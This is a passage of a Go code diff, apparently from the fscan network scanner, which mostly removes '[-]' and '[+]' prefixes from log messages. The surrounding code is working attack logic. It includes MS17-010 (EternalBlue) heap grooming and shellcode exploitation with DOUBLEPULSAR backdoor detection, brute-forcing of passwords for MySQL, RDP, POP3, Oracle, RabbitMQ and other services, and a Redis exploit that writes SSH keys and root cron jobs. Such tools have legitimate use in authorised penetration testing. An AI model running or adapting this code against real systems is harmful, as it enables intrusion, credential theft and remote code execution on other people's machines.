return nil, nil, fmt.Errorf("[-] 读取SMB消息体失败: %v", err)
return nil, nil, fmt.Errorf("读取SMB消息体失败: %v", err)
}
// 解析SMB头部
header := smbHeader{}
reader := bytes.NewReader(buf[:smbHeaderSize])
if err := binary.Read(reader, binary.LittleEndian, &header); err != nil {
return nil, nil, fmt.Errorf("[-] 解析SMB头部失败: %v", err)
return nil, nil, fmt.Errorf("解析SMB头部失败: %v", err)
}
return buf, &header, nil
@ -335,27 +335,27 @@ func smbClientNegotiate(conn net.Conn) error {
// 构造NetBIOS会话服务头
if err := writeNetBIOSHeader(&buf); err != nil {
return fmt.Errorf("[-] 构造NetBIOS头失败: %v", err)
return fmt.Errorf("构造NetBIOS头失败: %v", err)
}
// 构造SMB协议头
if err := writeSMBHeader(&buf); err != nil {
return fmt.Errorf("[-] 构造SMB头失败: %v", err)
return fmt.Errorf("构造SMB头失败: %v", err)
}
// 构造协议协商请求
if err := writeNegotiateRequest(&buf); err != nil {
return fmt.Errorf("[-] 构造协议协商请求失败: %v", err)
return fmt.Errorf("构造协议协商请求失败: %v", err)
}
// 发送数据包
if _, err := buf.WriteTo(conn); err != nil {
return fmt.Errorf("[-] 发送协议协商数据包失败: %v", err)
return fmt.Errorf("发送协议协商数据包失败: %v", err)
}
// 获取响应
if _, _, err := smb1GetResponse(conn); err != nil {
return fmt.Errorf("[-] 获取协议协商响应失败: %v", err)
return fmt.Errorf("获取协议协商响应失败: %v", err)
}
return nil
@ -428,22 +428,22 @@ func smb1AnonymousLogin(conn net.Conn) ([]byte, *smbHeader, error) {
// 构造NetBIOS会话服务头
if err := writeNetBIOSLoginHeader(&buf); err != nil {
return nil, nil, fmt.Errorf("[-] 构造NetBIOS头失败: %v", err)
return nil, nil, fmt.Errorf("构造NetBIOS头失败: %v", err)
}
// 构造SMB协议头
if err := writeSMBLoginHeader(&buf); err != nil {
return nil, nil, fmt.Errorf("[-] 构造SMB头失败: %v", err)
return nil, nil, fmt.Errorf("构造SMB头失败: %v", err)
}
// 构造会话设置请求
if err := writeSessionSetupRequest(&buf); err != nil {
return nil, nil, fmt.Errorf("[-] 构造会话设置请求失败: %v", err)
return nil, nil, fmt.Errorf("构造会话设置请求失败: %v", err)
}
// 发送数据包
if _, err := buf.WriteTo(conn); err != nil {
return nil, nil, fmt.Errorf("[-] 发送登录数据包失败: %v", err)
return nil, nil, fmt.Errorf("发送登录数据包失败: %v", err)
}
// 获取响应
@ -560,7 +560,7 @@ func getOSName(raw []byte) (string, error) {
char := make([]byte, 2)
for {
if _, err := io.ReadFull(reader, char); err != nil {
return "", fmt.Errorf("[-] 读取操作系统名称失败: %v", err)
return "", fmt.Errorf("读取操作系统名称失败: %v", err)
}
// 遇到结束符(0x00 0x00)时退出
@ -590,17 +590,17 @@ func treeConnectAndX(conn net.Conn, address string, userID uint16) (*smbHeader,
// 构造NetBIOS会话服务头
if err := writeNetBIOSTreeHeader(&buf); err != nil {
return nil, fmt.Errorf("[-] 构造NetBIOS头失败: %v", err)
return nil, fmt.Errorf("构造NetBIOS头失败: %v", err)
}
// 构造SMB协议头
if err := writeSMBTreeHeader(&buf, userID); err != nil {
return nil, fmt.Errorf("[-] 构造SMB头失败: %v", err)
return nil, fmt.Errorf("构造SMB头失败: %v", err)
}
// 构造树连接请求
if err := writeTreeConnectRequest(&buf, address); err != nil {
return nil, fmt.Errorf("[-] 构造树连接请求失败: %v", err)
return nil, fmt.Errorf("构造树连接请求失败: %v", err)
}
// 更新数据包大小
@ -608,13 +608,13 @@ func treeConnectAndX(conn net.Conn, address string, userID uint16) (*smbHeader,
// 发送数据包
if _, err := buf.WriteTo(conn); err != nil {
return nil, fmt.Errorf("[-] 发送树连接请求失败: %v", err)
return nil, fmt.Errorf("发送树连接请求失败: %v", err)
}
// 获取响应
_, header, err := smb1GetResponse(conn)
if err != nil {
return nil, fmt.Errorf("[-] 获取树连接响应失败: %v", err)
return nil, fmt.Errorf("获取树连接响应失败: %v", err)
}
return header, nil
@ -682,7 +682,7 @@ func writeTreeConnectRequest(buf *bytes.Buffer, address string) error {
// IPC路径
host, _, err := net.SplitHostPort(address)
if err != nil {
return fmt.Errorf("[-] 解析地址失败: %v", err)
return fmt.Errorf("解析地址失败: %v", err)
}
_, _ = fmt.Fprintf(buf, "\\\\%s\\IPC$", host)
@ -707,7 +707,7 @@ func smb1LargeBuffer(conn net.Conn, header *smbHeader) error {
// 发送NT Trans请求获取事务头
transHeader, err := sendNTTrans(conn, header.TreeID, header.UserID)
if err != nil {
return fmt.Errorf("[-] 发送NT Trans请求失败: %v", err)
return fmt.Errorf("发送NT Trans请求失败: %v", err)
}
treeID := transHeader.TreeID
@ -732,12 +732,12 @@ func smb1LargeBuffer(conn net.Conn, header *smbHeader) error {
// 发送组合数据包
if _, err := conn.Write(transPackets); err != nil {
return fmt.Errorf("[-] 发送大缓冲区数据失败: %v", err)
return fmt.Errorf("发送大缓冲区数据失败: %v", err)
}
// 获取响应
if _, _, err := smb1GetResponse(conn); err != nil {
return fmt.Errorf("[-] 获取大缓冲区响应失败: %v", err)
return fmt.Errorf("获取大缓冲区响应失败: %v", err)
}
return nil
@ -749,28 +749,28 @@ func sendNTTrans(conn net.Conn, treeID, userID uint16) (*smbHeader, error) {
// 构造NetBIOS会话服务头
if err := writeNetBIOSNTTransHeader(&buf); err != nil {
return nil, fmt.Errorf("[-] 构造NetBIOS头失败: %v", err)
return nil, fmt.Errorf("构造NetBIOS头失败: %v", err)
}
// 构造SMB协议头
if err := writeSMBNTTransHeader(&buf, treeID, userID); err != nil {
return nil, fmt.Errorf("[-] 构造SMB头失败: %v", err)
return nil, fmt.Errorf("构造SMB头失败: %v", err)
}
// 构造NT Trans请求
if err := writeNTTransRequest(&buf); err != nil {
return nil, fmt.Errorf("[-] 构造NT Trans请求失败: %v", err)
return nil, fmt.Errorf("构造NT Trans请求失败: %v", err)
}
// 发送数据包
if _, err := buf.WriteTo(conn); err != nil {
return nil, fmt.Errorf("[-] 发送NT Trans请求失败: %v", err)
return nil, fmt.Errorf("发送NT Trans请求失败: %v", err)
}
// 获取响应
_, header, err := smb1GetResponse(conn)
if err != nil {
return nil, fmt.Errorf("[-] 获取NT Trans响应失败: %v", err)
return nil, fmt.Errorf("获取NT Trans响应失败: %v", err)
}
return header, nil
@ -1099,7 +1099,7 @@ func smb1FreeHole(address string, start bool) (net.Conn, error) {
// 建立TCP连接
conn, err := net.DialTimeout("tcp", address, 10*time.Second)
if err != nil {
return nil, fmt.Errorf("[-] 连接目标失败: %v", err)
return nil, fmt.Errorf("连接目标失败: %v", err)
}
// 连接状态标记
@ -1112,7 +1112,7 @@ func smb1FreeHole(address string, start bool) (net.Conn, error) {
// SMB协议协商
if err = smbClientNegotiate(conn); err != nil {
return nil, fmt.Errorf("[-] SMB协议协商失败: %v", err)
return nil, fmt.Errorf("SMB协议协商失败: %v", err)
}
// 根据开始/结束标志设置不同参数
@ -1130,12 +1130,12 @@ func smb1FreeHole(address string, start bool) (net.Conn, error) {
// 构造并发送会话数据包
packet := makeSMB1FreeHoleSessionPacket(flags2, vcNum, nativeOS)
if _, err = conn.Write(packet); err != nil {
return nil, fmt.Errorf("[-] 发送内存释放会话数据包失败: %v", err)
return nil, fmt.Errorf("发送内存释放会话数据包失败: %v", err)
}
// 获取响应
if _, _, err = smb1GetResponse(conn); err != nil {
return nil, fmt.Errorf("[-] 获取会话响应失败: %v", err)
return nil, fmt.Errorf("获取会话响应失败: %v", err)
}
ok = true
@ -1251,12 +1251,12 @@ func smb2Grooms(address string, grooms int) ([]net.Conn, error) {
// 创建TCP连接
conn, err := net.DialTimeout("tcp", address, 10*time.Second)
if err != nil {
return nil, fmt.Errorf("[-] 连接目标失败: %v", err)
return nil, fmt.Errorf("连接目标失败: %v", err)
}
// 发送SMB2头
if _, err = conn.Write(header); err != nil {
return nil, fmt.Errorf("[-] 发送SMB2头失败: %v", err)
return nil, fmt.Errorf("发送SMB2头失败: %v", err)
}
conns = append(conns, conn)

View File

@ -3,10 +3,9 @@ package Plugins
import (
"encoding/binary"
"encoding/hex"
"errors"
"fmt"
"github.com/shadow1ng/fscan/Common"
"log"
"os"
"strings"
"time"
)
@ -33,126 +32,133 @@ func init() {
// 解密协议请求
decrypted, err := AesDecrypt(negotiateProtocolRequest_enc, key)
if err != nil {
log.Fatalf("解密协议请求失败: %v", err)
Common.LogError(fmt.Sprintf("协议请求解密错误: %v", err))
os.Exit(1)
}
negotiateProtocolRequest, err = hex.DecodeString(decrypted)
if err != nil {
log.Fatalf("解码协议请求失败: %v", err)
Common.LogError(fmt.Sprintf("协议请求解码错误: %v", err))
os.Exit(1)
}
// 解密会话请求
decrypted, err = AesDecrypt(sessionSetupRequest_enc, key)
if err != nil {
log.Fatalf("解密会话请求失败: %v", err)
Common.LogError(fmt.Sprintf("会话请求解密错误: %v", err))
os.Exit(1)
}
sessionSetupRequest, err = hex.DecodeString(decrypted)
if err != nil {
log.Fatalf("解码会话请求失败: %v", err)
Common.LogError(fmt.Sprintf("会话请求解码错误: %v", err))
os.Exit(1)
}
// 解密连接请求
decrypted, err = AesDecrypt(treeConnectRequest_enc, key)
if err != nil {
log.Fatalf("解密连接请求失败: %v", err)
Common.LogError(fmt.Sprintf("连接请求解密错误: %v", err))
os.Exit(1)
}
treeConnectRequest, err = hex.DecodeString(decrypted)
if err != nil {
log.Fatalf("解码连接请求失败: %v", err)
Common.LogError(fmt.Sprintf("连接请求解码错误: %v", err))
os.Exit(1)
}
// 解密管道请求
decrypted, err = AesDecrypt(transNamedPipeRequest_enc, key)
if err != nil {
log.Fatalf("解密管道请求失败: %v", err)
Common.LogError(fmt.Sprintf("管道请求解密错误: %v", err))
os.Exit(1)
}
transNamedPipeRequest, err = hex.DecodeString(decrypted)
if err != nil {
log.Fatalf("解码管道请求失败: %v", err)
Common.LogError(fmt.Sprintf("管道请求解码错误: %v", err))
os.Exit(1)
}
// 解密会话设置请求
decrypted, err = AesDecrypt(trans2SessionSetupRequest_enc, key)
if err != nil {
log.Fatalf("解密会话设置请求失败: %v", err)
Common.LogError(fmt.Sprintf("会话设置解密错误: %v", err))
os.Exit(1)
}
trans2SessionSetupRequest, err = hex.DecodeString(decrypted)
if err != nil {
log.Fatalf("解码会话设置请求失败: %v", err)
Common.LogError(fmt.Sprintf("会话设置解码错误: %v", err))
os.Exit(1)
}
}
// MS17010 扫描入口函数
func MS17010(info *Common.HostInfo) error {
// 暴力破解模式下跳过扫描
if Common.DisableBrute {
return nil
}
// 执行MS17-010漏洞扫描
err := MS17010Scan(info)
if err != nil {
Common.LogError(fmt.Sprintf("[-] MS17010 %v %v", info.Host, err))
Common.LogError(fmt.Sprintf("%s:%s - %v", info.Host, info.Ports, err))
}
return err
}
// MS17010Scan 执行MS17-010漏洞扫描
func MS17010Scan(info *Common.HostInfo) error {
ip := info.Host
// 连接目标445端口
// 连接目标
conn, err := Common.WrapperTcpWithTimeout("tcp", ip+":445", time.Duration(Common.Timeout)*time.Second)
if err != nil {
return err
return fmt.Errorf("连接错误: %v", err)
}
defer conn.Close()
// 设置连接超时
if err = conn.SetDeadline(time.Now().Add(time.Duration(Common.Timeout) * time.Second)); err != nil {
return err
return fmt.Errorf("设置超时错误: %v", err)
}
// 发送SMB协议协商请求
// SMB协议协商
if _, err = conn.Write(negotiateProtocolRequest); err != nil {
return err
return fmt.Errorf("发送协议请求错误: %v", err)
}
// 读取响应
reply := make([]byte, 1024)
if n, err := conn.Read(reply); err != nil || n < 36 {
return err
if err != nil {
return fmt.Errorf("读取协议响应错误: %v", err)
}
return fmt.Errorf("协议响应不完整")
}
// 检查协议响应状态
if binary.LittleEndian.Uint32(reply[9:13]) != 0 {
return err
return fmt.Errorf("协议协商被拒绝")
}
// 发送会话建立请求
// 建立会话
if _, err = conn.Write(sessionSetupRequest); err != nil {
return err
return fmt.Errorf("发送会话请求错误: %v", err)
}
// 读取响应
n, err := conn.Read(reply)
if err != nil || n < 36 {
return err
if err != nil {
return fmt.Errorf("读取会话响应错误: %v", err)
}
return fmt.Errorf("会话响应不完整")
}
// 检查会话响应状态
if binary.LittleEndian.Uint32(reply[9:13]) != 0 {
return errors.New("无法确定目标是否存在漏洞")
return fmt.Errorf("会话建立失败")
}
// 提取操作系统信息
// 提取系统信息
var os string
sessionSetupResponse := reply[36:n]
if wordCount := sessionSetupResponse[0]; wordCount != 0 {
byteCount := binary.LittleEndian.Uint16(sessionSetupResponse[7:9])
if n != int(byteCount)+45 {
fmt.Printf("[-] %s:445 MS17010无效的会话响应\n", ip)
Common.LogError(fmt.Sprintf("无效会话响应 %s:445", ip))
} else {
// 查找Unicode字符串结束标记(两个连续的0字节)
for i := 10; i < len(sessionSetupResponse)-1; i++ {
if sessionSetupResponse[i] == 0 && sessionSetupResponse[i+1] == 0 {
os = string(sessionSetupResponse[10:i])
@ -163,69 +169,76 @@ func MS17010Scan(info *Common.HostInfo) error {
}
}
// 获取用户ID
// 树连接请求
userID := reply[32:34]
treeConnectRequest[32] = userID[0]
treeConnectRequest[33] = userID[1]
// 发送树连接请求
if _, err = conn.Write(treeConnectRequest); err != nil {
return err
return fmt.Errorf("发送树连接请求错误: %v", err)
}
if n, err := conn.Read(reply); err != nil || n < 36 {
return err
if err != nil {
return fmt.Errorf("读取树连接响应错误: %v", err)
}
return fmt.Errorf("树连接响应不完整")
}
// 获取树ID并设置后续请求
// 命名管道请求
treeID := reply[28:30]
transNamedPipeRequest[28] = treeID[0]
transNamedPipeRequest[29] = treeID[1]
transNamedPipeRequest[32] = userID[0]
transNamedPipeRequest[33] = userID[1]
// 发送命名管道请求
if _, err = conn.Write(transNamedPipeRequest); err != nil {
return err
return fmt.Errorf("发送管道请求错误: %v", err)
}
if n, err := conn.Read(reply); err != nil || n < 36 {
return err
if err != nil {
return fmt.Errorf("读取管道响应错误: %v", err)
}
return fmt.Errorf("管道响应不完整")
}
// 检查漏洞状态
// 漏洞检测
if reply[9] == 0x05 && reply[10] == 0x02 && reply[11] == 0x00 && reply[12] == 0xc0 {
// 目标存在MS17-010漏洞
Common.LogSuccess(fmt.Sprintf("[+] MS17-010 %s\t(%s)", ip, os))
// 如果指定了shellcode,执行漏洞利用
defer func() {
if Common.Shellcode != "" {
MS17010EXP(info)
if os != "" {
Common.LogSuccess(fmt.Sprintf("发现漏洞 %s [%s] MS17-010", ip, os))
} else {
Common.LogSuccess(fmt.Sprintf("发现漏洞 %s MS17-010", ip))
}
}()
// 检测DOUBLEPULSAR后门
// DOUBLEPULSAR后门检测
trans2SessionSetupRequest[28] = treeID[0]
trans2SessionSetupRequest[29] = treeID[1]
trans2SessionSetupRequest[32] = userID[0]
trans2SessionSetupRequest[33] = userID[1]
if _, err = conn.Write(trans2SessionSetupRequest); err != nil {
return err
return fmt.Errorf("发送后门检测请求错误: %v", err)
}
if n, err := conn.Read(reply); err != nil || n < 36 {
return err
if err != nil {
return fmt.Errorf("读取后门检测响应错误: %v", err)
}
return fmt.Errorf("后门检测响应不完整")
}
if reply[34] == 0x51 {
Common.LogSuccess(fmt.Sprintf("[+] MS17-010 %s 存在DOUBLEPULSAR后门", ip))
}
} else {
// 未检测到漏洞,仅输出系统信息
Common.LogSuccess(fmt.Sprintf("[*] OsInfo %s\t(%s)", ip, os))
Common.LogSuccess(fmt.Sprintf("发现后门 %s DOUBLEPULSAR", ip))
}
return err
// Shellcode利用
if Common.Shellcode != "" {
defer MS17010EXP(info)
}
} else if os != "" {
Common.LogInfo(fmt.Sprintf("系统信息 %s [%s]", ip, os))
}
return nil
}

View File

@ -82,7 +82,7 @@ func MssqlScan(info *Common.HostInfo) (tmperr error) {
}
if err != nil {
errlog := fmt.Sprintf("[-] MSSQL %v:%v %v %v %v",
errlog := fmt.Sprintf("MSSQL %v:%v %v %v %v",
info.Host, info.Ports, task.user, task.pass, err)
Common.LogError(errlog)

View File

@ -33,14 +33,14 @@ func MemcachedScan(info *Common.HostInfo) error {
rev := make([]byte, 1024)
n, err := client.Read(rev)
if err != nil {
errlog := fmt.Sprintf("[-] Memcached %v:%v %v", info.Host, info.Ports, err)
errlog := fmt.Sprintf("Memcached %v:%v %v", info.Host, info.Ports, err)
Common.LogError(errlog)
return err
}
// 检查响应内容
if strings.Contains(string(rev[:n]), "STAT") {
result := fmt.Sprintf("[+] Memcached %s 未授权访问", realhost)
result := fmt.Sprintf("Memcached %s 未授权访问", realhost)
Common.LogSuccess(result)
}

View File

@ -41,13 +41,13 @@ func ModbusScan(info *Common.HostInfo) error {
// 验证响应
if isValidModbusResponse(response[:n]) {
result := fmt.Sprintf("[+] Modbus服务 %v:%v 无认证访问", host, port)
result := fmt.Sprintf("Modbus服务 %v:%v 无认证访问", host, port)
Common.LogSuccess(result)
// 尝试读取更多设备信息
deviceInfo := parseModbusResponse(response[:n])
if deviceInfo != "" {
Common.LogSuccess(fmt.Sprintf("[+] 设备信息: %s", deviceInfo))
Common.LogSuccess(fmt.Sprintf("设备信息: %s", deviceInfo))
}
return nil
}

View File

@ -15,7 +15,7 @@ func MongodbScan(info *Common.HostInfo) error {
_, err := MongodbUnauth(info)
if err != nil {
errlog := fmt.Sprintf("[-] MongoDB %v:%v %v", info.Host, info.Ports, err)
errlog := fmt.Sprintf("MongoDB %v:%v %v", info.Host, info.Ports, err)
Common.LogError(errlog)
}
return err
@ -41,7 +41,7 @@ func MongodbUnauth(info *Common.HostInfo) (bool, error) {
// 检查响应结果
if strings.Contains(reply, "totalLinesWritten") {
result := fmt.Sprintf("[+] MongoDB %v 未授权访问", realhost)
result := fmt.Sprintf("MongoDB %v 未授权访问", realhost)
Common.LogSuccess(result)
return true, nil
}

View File

@ -91,7 +91,7 @@ func MysqlScan(info *Common.HostInfo) (tmperr error) {
// 连接成功
select {
case successChan <- struct{}{}: // 标记成功
successLog := fmt.Sprintf("[+] MySQL %v:%v %v %v",
successLog := fmt.Sprintf("MySQL %v:%v %v %v",
info.Host, info.Ports, task.user, task.pass)
Common.LogSuccess(successLog)
default:
@ -105,7 +105,7 @@ func MysqlScan(info *Common.HostInfo) (tmperr error) {
// 处理错误情况
if err != nil {
errlog := fmt.Sprintf("[-] MySQL %v:%v %v %v %v",
errlog := fmt.Sprintf("MySQL %v:%v %v %v %v",
info.Host, info.Ports, task.user, task.pass, err)
Common.LogError(errlog)

View File

@ -100,7 +100,7 @@ func Neo4jScan(info *Common.HostInfo) (tmperr error) {
// 处理错误情况
if err != nil {
errlog := fmt.Sprintf("[-] Neo4j服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v",
errlog := fmt.Sprintf("Neo4j服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v",
info.Host, info.Ports, task.user, task.pass, err)
Common.LogError(errlog)
@ -177,7 +177,7 @@ func Neo4jConn(info *Common.HostInfo, user string, pass string) (bool, error) {
}
// 连接成功
result := fmt.Sprintf("[+] Neo4j服务 %v:%v ", host, port)
result := fmt.Sprintf("Neo4j服务 %v:%v ", host, port)
if user != "" {
result += fmt.Sprintf("爆破成功 用户名: %v 密码: %v", user, pass)
} else {

View File

@ -18,7 +18,7 @@ func NetBIOS(info *Common.HostInfo) error {
netbios, _ := NetBIOS1(info)
output := netbios.String()
if len(output) > 0 {
result := fmt.Sprintf("[*] NetBios %-15s %s", info.Host, output)
result := fmt.Sprintf("NetBios %-15s %s", info.Host, output)
Common.LogSuccess(result)
return nil
}

View File

@ -85,7 +85,7 @@ func OracleScan(info *Common.HostInfo) (tmperr error) {
// 处理错误情况
if err != nil {
errlog := fmt.Sprintf("[-] Oracle %v:%v %v %v %v",
errlog := fmt.Sprintf("Oracle %v:%v %v %v %v",
info.Host, info.Ports, task.user, task.pass, err)
Common.LogError(errlog)
@ -152,7 +152,7 @@ func OracleConn(info *Common.HostInfo, user string, pass string) (bool, error) {
}
// 连接成功
result := fmt.Sprintf("[+] Oracle %v:%v:%v %v", host, port, username, password)
result := fmt.Sprintf("Oracle %v:%v:%v %v", host, port, username, password)
Common.LogSuccess(result)
return true, nil
}

View File

@ -77,7 +77,7 @@ func POP3Scan(info *Common.HostInfo) (tmperr error) {
err = result.err
if result.success && err == nil {
// 连接成功
successLog := fmt.Sprintf("[+] POP3服务 %v:%v 用户名: %v 密码: %v",
successLog := fmt.Sprintf("POP3服务 %v:%v 用户名: %v 密码: %v",
info.Host, info.Ports, task.user, task.pass)
Common.LogSuccess(successLog)
resultChan <- nil
@ -89,7 +89,7 @@ func POP3Scan(info *Common.HostInfo) (tmperr error) {
// 处理错误情况
if err != nil {
errlog := fmt.Sprintf("[-] POP3服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v",
errlog := fmt.Sprintf("POP3服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v",
info.Host, info.Ports, task.user, task.pass, err)
Common.LogError(errlog)
@ -198,7 +198,7 @@ func tryPOP3Auth(conn net.Conn, host string, port string, user string, pass stri
}
if strings.Contains(response, "+OK") {
result := fmt.Sprintf("[+] POP3服务 %v:%v 爆破成功 用户名: %v 密码: %v", host, port, user, pass)
result := fmt.Sprintf("POP3服务 %v:%v 爆破成功 用户名: %v 密码: %v", host, port, user, pass)
if isTLS {
result += " (TLS)"
}

View File

@ -85,7 +85,7 @@ func PostgresScan(info *Common.HostInfo) (tmperr error) {
// 处理错误情况
if err != nil {
errlog := fmt.Sprintf("[-] PostgreSQL %v:%v %v %v %v",
errlog := fmt.Sprintf("PostgreSQL %v:%v %v %v %v",
info.Host, info.Ports, task.user, task.pass, err)
Common.LogError(errlog)
@ -152,7 +152,7 @@ func PostgresConn(info *Common.HostInfo, user string, pass string) (bool, error)
}
// 连接成功
result := fmt.Sprintf("[+] PostgreSQL %v:%v:%v %v", host, port, username, password)
result := fmt.Sprintf("PostgreSQL %v:%v:%v %v", host, port, username, password)
Common.LogSuccess(result)
return true, nil
}

View File

@ -73,9 +73,9 @@ func RdpScan(info *Common.HostInfo) (tmperr error) {
// 连接成功
var result string
if Common.Domain != "" {
result = fmt.Sprintf("[+] RDP %v:%v:%v\\%v %v", info.Host, port, Common.Domain, user, pass)
result = fmt.Sprintf("RDP %v:%v:%v\\%v %v", info.Host, port, Common.Domain, user, pass)
} else {
result = fmt.Sprintf("[+] RDP %v:%v:%v %v", info.Host, port, user, pass)
result = fmt.Sprintf("RDP %v:%v:%v %v", info.Host, port, user, pass)
}
Common.LogSuccess(result)
select {
@ -86,7 +86,7 @@ func RdpScan(info *Common.HostInfo) (tmperr error) {
}
// 连接失败
errlog := fmt.Sprintf("[-] (%v/%v) RDP %v:%v %v %v %v", num, all, info.Host, port, user, pass, err)
errlog := fmt.Sprintf("(%v/%v) RDP %v:%v %v %v %v", num, all, info.Host, port, user, pass, err)
Common.LogError(errlog)
}
}()
@ -139,9 +139,9 @@ func worker(host, domain string, port int, wg *sync.WaitGroup, brlist chan Brute
// 连接成功
var result string
if domain != "" {
result = fmt.Sprintf("[+] RDP %v:%v:%v\\%v %v", host, port, domain, user, pass)
result = fmt.Sprintf("RDP %v:%v:%v\\%v %v", host, port, domain, user, pass)
} else {
result = fmt.Sprintf("[+] RDP %v:%v:%v %v", host, port, user, pass)
result = fmt.Sprintf("RDP %v:%v:%v %v", host, port, user, pass)
}
Common.LogSuccess(result)
*signal = true
@ -149,7 +149,7 @@ func worker(host, domain string, port int, wg *sync.WaitGroup, brlist chan Brute
}
// 连接失败
errlog := fmt.Sprintf("[-] (%v/%v) RDP %v:%v %v %v %v", *num, all, host, port, user, pass, err)
errlog := fmt.Sprintf("(%v/%v) RDP %v:%v %v %v %v", *num, all, host, port, user, pass, err)
Common.LogError(errlog)
}
}

View File

@ -82,7 +82,7 @@ func RabbitMQScan(info *Common.HostInfo) (tmperr error) {
case result := <-done:
err = result.err
if result.success && err == nil {
result := fmt.Sprintf("[+] RabbitMQ服务 %v:%v 连接成功 用户名: %v 密码: %v",
result := fmt.Sprintf("RabbitMQ服务 %v:%v 连接成功 用户名: %v 密码: %v",
info.Host, info.Ports, task.user, task.pass)
Common.LogSuccess(result)
resultChan <- nil
@ -94,7 +94,7 @@ func RabbitMQScan(info *Common.HostInfo) (tmperr error) {
// 处理错误情况
if err != nil {
errlog := fmt.Sprintf("[-] RabbitMQ服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v",
errlog := fmt.Sprintf("RabbitMQ服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v",
info.Host, info.Ports, task.user, task.pass, err)
Common.LogError(errlog)
@ -158,7 +158,7 @@ func RabbitMQConn(info *Common.HostInfo, user string, pass string) (bool, error)
// 如果成功连接
if conn != nil {
result := fmt.Sprintf("[+] RabbitMQ服务 %v:%v 爆破成功 用户名: %v 密码: %v", host, port, user, pass)
result := fmt.Sprintf("RabbitMQ服务 %v:%v 爆破成功 用户名: %v 密码: %v", host, port, user, pass)
Common.LogSuccess(result)
return true, nil
}

View File

@ -90,7 +90,7 @@ func RedisScan(info *Common.HostInfo) (tmperr error) {
// 处理错误情况
if err != nil {
errlog := fmt.Sprintf("[-] Redis %v:%v %v %v",
errlog := fmt.Sprintf("Redis %v:%v %v %v",
info.Host, info.Ports, pass, err)
Common.LogError(errlog)
@ -162,12 +162,12 @@ func RedisConn(info *Common.HostInfo, pass string) (bool, error) {
// 获取配置信息
dbfilename, dir, err = getconfig(conn)
if err != nil {
result := fmt.Sprintf("[+] Redis %s %s", realhost, pass)
result := fmt.Sprintf("Redis %s %s", realhost, pass)
Common.LogSuccess(result)
return true, err
}
result := fmt.Sprintf("[+] Redis %s %s file:%s/%s", realhost, pass, dir, dbfilename)
result := fmt.Sprintf("Redis %s %s file:%s/%s", realhost, pass, dir, dbfilename)
Common.LogSuccess(result)
// 尝试利用
@ -186,28 +186,28 @@ func RedisUnauth(info *Common.HostInfo) (flag bool, err error) {
// 建立TCP连接
conn, err := Common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(Common.Timeout)*time.Second)
if err != nil {
Common.LogError(fmt.Sprintf("[-] Redis连接失败 %s: %v", realhost, err))
Common.LogError(fmt.Sprintf("Redis连接失败 %s: %v", realhost, err))
return flag, err
}
defer conn.Close()
// 设置读取超时
if err = conn.SetReadDeadline(time.Now().Add(time.Duration(Common.Timeout) * time.Second)); err != nil {
Common.LogError(fmt.Sprintf("[-] Redis %s 设置超时失败: %v", realhost, err))
Common.LogError(fmt.Sprintf("Redis %s 设置超时失败: %v", realhost, err))
return flag, err
}
// 发送info命令测试未授权访问
_, err = conn.Write([]byte("info\r\n"))
if err != nil {
Common.LogError(fmt.Sprintf("[-] Redis %s 发送命令失败: %v", realhost, err))
Common.LogError(fmt.Sprintf("Redis %s 发送命令失败: %v", realhost, err))
return flag, err
}
// 读取响应
reply, err := readreply(conn)
if err != nil {
Common.LogError(fmt.Sprintf("[-] Redis %s 读取响应失败: %v", realhost, err))
Common.LogError(fmt.Sprintf("Redis %s 读取响应失败: %v", realhost, err))
return flag, err
}
@ -217,19 +217,19 @@ func RedisUnauth(info *Common.HostInfo) (flag bool, err error) {
// 获取Redis配置信息
dbfilename, dir, err = getconfig(conn)
if err != nil {
result := fmt.Sprintf("[+] Redis %s 发现未授权访问", realhost)
result := fmt.Sprintf("Redis %s 发现未授权访问", realhost)
Common.LogSuccess(result)
return flag, err
}
// 输出详细信息
result := fmt.Sprintf("[+] Redis %s 发现未授权访问 文件位置:%s/%s", realhost, dir, dbfilename)
result := fmt.Sprintf("Redis %s 发现未授权访问 文件位置:%s/%s", realhost, dir, dbfilename)
Common.LogSuccess(result)
// 尝试漏洞利用
err = Expoilt(realhost, conn)
if err != nil {
Common.LogError(fmt.Sprintf("[-] Redis %s 漏洞利用失败: %v", realhost, err))
Common.LogError(fmt.Sprintf("Redis %s 漏洞利用失败: %v", realhost, err))
}
}
@ -246,53 +246,53 @@ func Expoilt(realhost string, conn net.Conn) error {
// 测试目录写入权限
flagSsh, flagCron, err := testwrite(conn)
if err != nil {
Common.LogError(fmt.Sprintf("[-] Redis %v 测试写入权限失败: %v", realhost, err))
Common.LogError(fmt.Sprintf("Redis %v 测试写入权限失败: %v", realhost, err))
return err
}
// SSH密钥写入测试
if flagSsh {
Common.LogSuccess(fmt.Sprintf("[+] Redis %v 可写入路径 /root/.ssh/", realhost))
Common.LogSuccess(fmt.Sprintf("Redis %v 可写入路径 /root/.ssh/", realhost))
// 如果指定了密钥文件则尝试写入
if Common.RedisFile != "" {
writeok, text, err := writekey(conn, Common.RedisFile)
if err != nil {
Common.LogError(fmt.Sprintf("[-] Redis %v SSH密钥写入错误: %v %v", realhost, text, err))
Common.LogError(fmt.Sprintf("Redis %v SSH密钥写入错误: %v %v", realhost, text, err))
return err
}
if writeok {
Common.LogSuccess(fmt.Sprintf("[+] Redis %v SSH公钥写入成功", realhost))
Common.LogSuccess(fmt.Sprintf("Redis %v SSH公钥写入成功", realhost))
} else {
Common.LogError(fmt.Sprintf("[-] Redis %v SSH公钥写入失败: %v", realhost, text))
Common.LogError(fmt.Sprintf("Redis %v SSH公钥写入失败: %v", realhost, text))
}
}
}
// 定时任务写入测试
if flagCron {
Common.LogSuccess(fmt.Sprintf("[+] Redis %v 可写入路径 /var/spool/cron/", realhost))
Common.LogSuccess(fmt.Sprintf("Redis %v 可写入路径 /var/spool/cron/", realhost))
// 如果指定了shell命令则尝试写入定时任务
if Common.RedisShell != "" {
writeok, text, err := writecron(conn, Common.RedisShell)
if err != nil {
Common.LogError(fmt.Sprintf("[-] Redis %v 定时任务写入错误: %v", realhost, err))
Common.LogError(fmt.Sprintf("Redis %v 定时任务写入错误: %v", realhost, err))
return err
}
if writeok {
Common.LogSuccess(fmt.Sprintf("[+] Redis %v 成功写入 /var/spool/cron/root", realhost))
